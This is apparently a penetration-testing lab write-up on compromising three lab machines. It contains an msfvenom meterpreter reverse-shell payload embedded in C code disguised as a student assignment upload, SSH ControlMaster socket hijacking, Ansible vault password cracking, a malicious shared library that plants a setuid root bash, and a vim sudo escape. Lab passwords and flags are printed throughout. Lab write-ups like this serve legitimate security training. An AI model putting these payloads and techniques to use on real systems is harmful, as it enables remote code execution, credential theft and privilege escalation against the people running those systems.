

192.168.X.171

22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 0c:f7:57:49:fc:d4:4e:73:97:2c:25:a2:6a:36:5b:2c (RSA)
| 256 87:35:fd:bc:0a:69:ff:e7:7f:4c:54:c7:bd:29:1d:b9 (ECDSA)
|_ 256 2d:8b:f2:70:c4:57:44:62:d5:80:d6:0b:6e:31:a9:75 (ED25519)
80/tcp open http Apache httpd 2.4.37 ((centos))
| http-methods:
|_ Potentially risky methods: TRACE
|_ http-server-header: Apache/2.4.37 (centos)
|_ http-title: CentOS \xE6\x8F\x90\xE4\xBE\x9B\xE7\x9A\x84 Apache HTTP
\xE6\x9C\x8D\xE5\x8A\xA1\xE5\x99\xA8\xE6\xB5\x8B\xE8\xAF\x95\xE9\xA1\xB5
9090/tcp closed zeus-admin

192.168.X.172

22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)

192.168.X.173

22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
| 2048 1f:11:e4:0b:3b:8a:e3:12:e9:44:10:7a:c9:64:98:f3 (RSA)
| 256 8a:f7:59:6b:af:db:14:0a:e8:4f:2a:4d:c9:66:04:e7 (ECDSA)
|_ 256 d7:cf:21:25:eb:d2:7e:1a:b4:6b:77:41:56:bf:c8:c1 (ED25519)
8081/tcp open blackice-icecap?
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Content-Type: text/html; charset=utf-8
| Content-Language: en
| Content-Length: 431
| Date: Mon, 08 Feb 2021 20:51:03 GMT
| Connection: close
| <!doctype html><html lang="en"><head><title>HTTP Status 404
| Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b
{color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-
size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-
color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404
| Found</h1></body></html>
| GetRequest:
| HTTP/1.1 200 OK
| Accept-Ranges: bytes
| ETag: W/"878-1597226105000"

| Last-Modified: Wed, 12 Aug 2020 09:55:05 GMT
| Content-Type: text/html
| Content-Length: 878
| Date: Mon, 08 Feb 2021 20:51:02 GMT
| Connection: close
| <!--
| Artifactory is a binaries repository manager.
| Copyright (C) 2018 JFrog Ltd.
| Artifactory is free software: you can redistribute it and/or modify
| under the terms of the GNU Affero General Public License as published by
| Free Software Foundation, either version 3 of the License, or
| your option) any later version.
| Artifactory is distributed in the hope that it will be useful,
| WITHOUT ANY WARRANTY; without even the implied warranty of
| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
| Affero General Public License for more details.
|_ should have received a copy of the GNU Affero General P
8082/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: JFrog

:: Method : GET
:: URL : http://192.168.X.171/FUZZ
:: Wordlist : FUZZ: /usr/share/dirb/wordlists/big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Response status: 404

.htpasswd [Status: 403, Size: 218, Words: 16, Lines: 10]
.htaccess [Status: 403, Size: 218, Words: 16, Lines: 10]
cgi-bin/ [Status: 403, Size: 217, Words: 16, Lines: 10]
noindex [Status: 301, Size: 238, Words: 14, Lines: 8]
uploads [Status: 301, Size: 238, Words: 14, Lines: 8]
Upload.php
upload.html

<http://192.168.86.171/upload.html> contains:

CS101 - C Programming

Assignment 1 Portal

Please submit your first assignment as a compiled ELF file. There are several requirements to pass:

- Your program must output the text "I love programming." to the console (STDOUT).
- Your program must have a return value of 3 when the program exits.
- Your program may take more than 10 seconds to run.

Select file to upload:

No file selected.

```
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.X.Y LPORT=443 -f c
```

```
#define _GNU_SOURCE
#include <sys/mman.h> // for mprotect #include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>

unsigned char buf[] =
"\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\xb2\x07\x0f\x05\x48\x85\xc0\x78\x51\x6a\x0a"
"\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"
"\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00\x01\xbb\xc0\xa8"
"\x31\x56\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x59"
"\x48\x85\xc0\x79\x25\x49\xff\xc9\x74\x18\x57\x6a\x23\x58\x6a"
"\x00\x6a\x05\x48\x89\xe7\x48\x31\xf6\x0f\x05\x59\x59\x5f\x48"
"\x85\xc0\x79\xc7\x6a\x3c\x58\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e"
"\x5a\x0f\x05\x48\x85\xc0\x78\xed\xff\xe6";
```

```
int main()
{
    printf("I love programming.");
    if (fork() == 0)
    {
        intptr_t pagesize = sysconf(_SC_PAGESIZE);
        if (mprotect((void *)(((intptr_t)buf) & ~(pagesize - 1)),
            pagesize, PROT_READ|PROT_EXEC)) {
            perror("mprotect");
            return -1;
        }
        int (*ret)() = (int(*)())buf;
```

```
ret();  
}  
else  
{  
printf("HACK: returning from function...\n");  
  
}  
  
return 3;  
}
```

```
cat local.txt  
8a54b063c5eab3deefb3eeb2a7f9f940  
bash-4.4$ cat repo.txt  
cat repo.txt  
walleyedev  
photofinish
```


With these creds, we can login on JFrog on <http://192.168.X.173:8082>

Here we find a new username:

4 Users

Filter by Principal

Principal ^

 admin

anonymous

todd

walleyedev

Then I can upload files. We saw tpsreports.elf was uploaded, so I upload my rev.elf which I used to get initial access and rename it to tpsreports.elf. Then after some time, I get a shell!

```
whoami
nottodd
nottodd@cb2:~$ hostname
hostname
cb2
```

```
cat local.txt
58736c6c295a9197ece6762369769108
```

So now I got shell on: 192.168.X.172 (CB2)
Then we have CB3 which is 192.168.X.173

```
In .bash_history I find this:
ssh-keygen
ssh-copy-id marks@192.168.120.173
ssh marks@192.168.120.173
```

So there seems to be a marks user on .173 machine

```
cat antemail.txt
```

Hey Walleye,

Can you do something about the ant problem in here? I came back from a bathroom break and my lunch was gone. It's getting out of hand!

Thanks,

Todd

```
cat novulns.txt
we love you todd!
```

```
-rw-r--r-- 1 root root 24 Aug 20 15:41 tpsreports.txt
nottodd@cb2:/opt$ cat tpsreports.txt
cat tpsreports.txt
This is my first report
```

```
nottodd@cb2:~/.ssh$ cat config
cat config
```

Host *

```
ControlPath ~/.ssh/controlmaster/%r@%h:%p
ControlMaster auto
ControlPersist no
```

In PDF, there was a chapter about ssh hijacking. ControlMaster is a feature that enables sharing of multiple SSH sessions over a single network connection.

The above configuration entry's first line specifies that the configuration is being set for all hosts (*)

The ControlPath entry in our example specifies that the ControlMaster socket file should be placed in ~/.ssh/controlmaster/ with the name <remoteusername@<targethost>:<port>. This assumes that the specified controlmaster folder actually exists.

The ControlMaster line identifies that any new connections will attempt to use existing ControlMaster sockets when possible

ControlPersist can either be set to "yes" or to a specified time. If it is set to "yes", the socket stays open indefinitely

We also have an id_rsa key which is nottod's one on .172 machine.

```
root    /usr/sbin/cron -f
root    _ /usr/sbin/CRON -f
root    _ /bin/sh -c /root/runfornottodd.sh >> /root/cronlog_ssh.txt
root    _ /bin/bash /root/runfornottodd.sh
root    _ sshpass -f /dev/fd/63 sudo -u nottodd ssh -t -o StrictHostKeyChecking=no
marks@cb3 /bin/bash /home/marks/monitor.sh
root    _ sudo -u nottodd ssh -t -o StrictHostKeyChecking=no marks@cb3 /bin/bash
/home/marks/monitor.sh
nottodd _ ssh -t -o StrictHostKeyChecking=no marks@cb3 /bin/bash
/home/marks/monitor.sh
```

So it seems to be a cron running every 5th minute. So if I do ls -la at every 5th minute, I see the socket comes up:

```
nottodd@cb2:~/.ssh/controlmaster$ ls -la
ls -la
total 8
drwxrwxr-x 2 nottodd nottodd 4096 Feb  9 19:50 .
drwx----- 3 nottodd nottodd 4096 Aug 20 19:05 ..
```

srw----- 1 nottodd nottodd 0 Feb 9 19:50 marks@cb3:22

Which we hijack and login using: ssh marks@cb3

Where cb3 is 192.168.X.173

marks@cb3:~\$ cat local.txt

cat local.txt

087fade67b1acec922746aa2694c704d

cat monitor.sh

#!/bin/bash

echo "pausing..."

sleep 1m

marks@cb3:/opt/ansible\$ cat webserver.yaml

cat webserver.yaml

- name: Get system info

hosts: all

gather_facts: true

become_user: root

vars:

ansible_become_pass: !vault |

\$ANSIBLE_VAULT;1.1;AES256

6664373365333565666234383263343935356534383938653864376364353134306536666163
3634

6262313438663539373565646533383430326130313532380a31613231363638363338653233
3765

3732383834303839373831383163616364363862316232363065643434643334666461323339
3036

6638663531343866380a31363435333133333162356530383332366362326561613163393462
3134

62656439343264376638643033633037666534656631333963333638326131653764

tasks:

- name: Display info

debug:

msg: "The hostname is {{ ansible_hostname }} and the OS is {{ ansible_distribution }}"

Let's crack this one.

Then we copy it to this format(so same format as in the file without any spaces in the beginning of the line)

```
$ANSIBLE_VAULT;1.1;AES256
66643733653335656662343832633439353565343839386538643763643531343065366661633634
6262313438663539373565646533383430326130313532380a316132313636383633386532333765
37323838343038393738313831636163643638623162323630656434346433346664613233393036
6638663531343866380a313634353331333331623565303833323663623265616131633934623134
62656439343264376638643033633037666534656631333963333638326131653764
root@kali:~/Offsec/Lab#
```

```
python3 /usr/share/john/ansible2john.py ansible_webserver.yml > ans2johnHash.txt
```

```
root@kali:~/Ogimmeshellec/Lab# john --wordlist=/usr/share/wordlists/rockyou.txt
```

```
ans2johnHash.txt
```

```
Using default input encoding: UTF-8
```

```
Loaded 1 password hash (ansible, Ansible Vault [PBKDF2-SHA256 HMAC-256 256/256 AVX2
8x])
```

```
Cost 1 (iteration count) is 10000 for all loaded hashes
```

```
Will run 2 OpenMP threads
```

```
Press 'q' or Ctrl-C to abort, almost any other key for status
```

```
bowwow      (ansible_webserver.yml)
```

```
1g 0:00:00:00 DONE (2021-02-09 20:58) 6.666g/s 2133p/s 2133c/s 2133C/s adidas..101010
```

```
Use the "--show" option to display all of the cracked passwords reliably
```

```
Session completed
```

Then we can decrypt the yml file on the controller by doing this:

```
marks@cb3:/tmp$ mv ansible_webserver.yml pw.txt
```

```
mv ansible_webserver.yml pw.txt
```

```
marks@cb3:/tmp$ cat pw.txt | ansible-vault decrypt
```

```
cat pw.txt | ansible-vault decrypt
```

```
Vault password: bowwow
```

```
lifeintheantfarm
```

```
Decryption successful
```

So we got a new password it seems: lifeintheantfarm

In /etc/ansible/hosts on the controller, we have:

```
[webserver]
```

```
cb1
```

So it only consists of one host, the cb1(192.168.86.171) machine as part of a group called webserver.

Then the password: lifeintheantfarm works for root user on 192.168.X.171.
This was probably hinted by the webserver.yaml file where it had: become_user: root

```
[root@localhost ~]# cat proof.txt
926558375cd30fd3b7f87203dfc9e432
```

```
[root@localhost walleye]# cat local.txt
8a54b063c5eab3deefb3eeb2a7f9f940
```

Then we go back to CB3 and run LinPeas
Linux version 4.9.0
Sudo version 1.8.19p1

Then I create a new ssh key on my kali, put it on CB3, and login with:
ssh -i id_rsa marks@192.168.X.173

On cb3, I run pspy64 and find:
2021/02/10 12:30:01 CMD: UID=1002 PID=7185 | bash -i -c source /home/marks/.bashrc;
echo "nothingwaschangedargh" | sudo -S netstat -ap > /tmp/mark_listening.txt

So here we can try Shared Library Hijacking via LD_LIBRARY_PATH
As stated in the PDF.

So I first run: ldd /bin/netstat

```
linux-vdso.so.1 (0x00007ffe471eb000)
libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007f9efba8a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f9efb6eb000)
libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007f9efb478000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f9efb274000)
/lib64/ld-linux-x86-64.so.2 (0x00007f9efbed8000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f9efb057000)
```

Then we don't have any library related to an error so let's choose: libpthread.so.0
So first I create a c file that will be the payload, which will copy bash binary and make it executable:

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> // for setuid/setgid
```

```
static void runmahpayload() __attribute__((constructor)); // telling compiler that this function will
be defined later
```

```

void runmahpayload() {
    setuid(0);
    setgid(0);
    printf("DLL HIJACKING IN PROGRESS \n");
    system("cp /bin/bash /tmp/bash; chmod +s /tmp/bash");
}

```

To compile this into a shared object file, I run:

```

gcc -Wall -fPIC -c -o hax.o hax.c
gcc -shared -o libhax.so hax.o

```

Then I upload libhax.so to /home/marks and rename it to libpthread.so.0

Then if I just try to run it, I get some errors related to version not available:

```

cp: /home/marks/libpthread.so.0: no version information available (required by /lib/x86_64-linux-gnu/libpcr.so.3)

```

But I also get `printf("DLL HIJACKING IN PROGRESS \n");`

And it copies bash binary to tmp so it seems to work even though it gives some errors.

Then I modify .bashrc and add this command:

```
alias sudo="sudo LD_LIBRARY_PATH=/home/marks"
```

By default user environment variables are not passed on when using sudo. So it would not be enough to set an environment variable for mark user here. This setting is configured in the /etc/sudoers file by using the env_reset keyword as a default.

Here we don't have access to /etc/sudoers since we are not root so we have to find another way. So you could use: `sudo -E` and put this in .bashrc, but some environment variables are not passed even with this approach and LD_LIBRARY_PATH is one of these.

So instead we put the above alias to replace sudo variable and use that environment variable at runtime when the sudo command is ran.

Then we wait until the cronjob is run which loads the new .bashrc files and then executes sudo with netstat command.

Then we have bash binary owned by root with setuid:

```
-rwsr-sr-x 1 root root 1099016 Feb 10 13:31 bash
```

```
/tmp/bash -p
```

```

bash-4.4# cat proof.txt
9639b51cfc1b77dd5dc5c483ec87a168

```

You could also have priv esced by using marks password: nothingwaschangedargh

And then: `sudo su -` from marks user

Then on CB3, we find an rsa key in /home/marks/.ssh/id_rsa

Let's try this for users on CB2. It worked as todd user:

```
ssh -i test_rsa todd@192.168.X.172
```

```
todd@cb2:~$ sudo -l
```

Matching Defaults entries for todd on cb2:

```
env_reset, mail_badpass,  
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
```

User todd may run the following commands on cb2:

```
(root) NOPASSWD: /usr/bin/vim /opt/tpsreports.txt
```

<https://gtfobins.github.io/gtfobins/vim/#sudo>

```
sudo vim -c '!/bin/sh'
```

```
# cat proof.txt
```

```
fceb40d549b68181425e235194fbe074
```